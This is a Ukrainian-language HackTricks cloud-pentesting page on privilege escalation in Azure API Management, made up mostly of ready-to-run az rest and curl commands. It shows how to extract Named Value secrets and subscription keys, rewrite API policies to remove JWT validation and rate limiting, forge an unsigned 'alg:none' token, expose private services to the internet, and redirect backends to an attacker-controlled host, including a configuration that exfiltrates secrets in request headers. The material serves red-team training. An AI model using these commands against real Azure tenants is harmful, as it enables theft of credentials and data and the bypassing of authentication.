Az - API Management Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action

Атака полягає в отриманні доступу до конфіденційних secrets, що зберігаються в Azure API Management Named Values, або шляхом прямого витягання значень secrets, або зловживанням дозволами для отримання Key Vault–backed secrets через managed identities.

az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>

Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action

Для кожної підписки зловмисник може отримати ключі підписки, використовуючи endpoint listSecrets методом POST:

az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"

У відповіді містяться subscription primary key (primaryKey) та secondary key (secondaryKey). З цими ключами attacker може аутентифікуватися та отримати доступ до APIs, опублікованих через API Management Gateway:

curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>

Зловмисник може отримати доступ до всіх APIs та продуктів, пов’язаних з підпискою. Якщо підписка має доступ до конфіденційних продуктів або APIs, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції.

Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write

Зловмисник спочатку отримує поточну політику API:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"

Зловмисник може змінити політику кількома способами залежно від своїх цілей. Наприклад, щоб відключити автентифікацію, якщо політика включає JWT token validation, зловмисник може видалити або закоментувати цю секцію:

<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>

Щоб видалити rate limiting controls і дозволити denial-of-service атаки, зловмисник може видалити або закоментувати політики quota і rate-limit:

<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>

Щоб змінити маршрут backend і перенаправити трафік на сервер, контрольований атакуючим:

<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>

Потім зловмисник застосовує змінену політику. Тіло запиту має бути JSON-об’єктом, що містить політику у форматі XML:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'

Неправильна конфігурація валідації JWT

Атакувальник має знати, що API використовує валідацію JWT-токенів і що політика налаштована неправильно.

Неправильно налаштовані політики валідації JWT можуть містити require-signed-tokens="false" або require-expiration-time="false", що дозволяє сервісу приймати непідписані токени або токени, термін дії яких ніколи не спливає.

Атакувальник створює шкідливий JWT-токен, використовуючи алгоритм none (непідписаний):

# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.

Зловмисник надсилає запит до API, використовуючи шкідливий токен:

curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path

Якщо політика неправильно налаштована з require-signed-tokens="false", сервіс прийме непідписаний токен. Атакуючий також може створити токен без поля терміну дії, якщо require-expiration-time="false".

Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

Атакуючий спочатку перевіряє поточну мережеву конфігурацію сервісу:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"

Атакуючий переглядає JSON-відповідь, щоб перевірити значення publicNetworkAccess і virtualNetworkType. Якщо publicNetworkAccess встановлено в false або virtualNetworkType встановлено в Internal, сервіс налаштований для приватного доступу.

Щоб відкрити сервіс в Інтернеті, атакуючий повинен змінити обидва параметри. Якщо сервіс працює в режимі Internal (virtualNetworkType: "Internal"), атакуючий змінює його на None або External та вмикає публічний мережевий доступ. Це можна зробити за допомогою Azure Management API:

az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'

Як тільки virtualNetworkType встановлено в None або External, а publicNetworkAccess увімкнено, сервіс і всі його APIs стають доступними з Інтернету, навіть якщо раніше вони були захищені за приватною мережею або приватними кінцевими точками.

Microsoft.ApiManagement/service/backends/write

Зловмисник спочатку перераховує існуючі backends, щоб визначити, який із них змінити:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"

Зловмисник отримує поточну конфігурацію backend, яку хоче змінити:

az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"

Атакувальник змінює URL бекенда так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють бекенд:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'

Альтернативно, зловмисник може налаштувати backend headers для exfiltrate Named Values, що містять секрети. Це робиться через конфігурацію backend credentials:

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'

З цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє експфільтрацію конфіденційних секретів.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks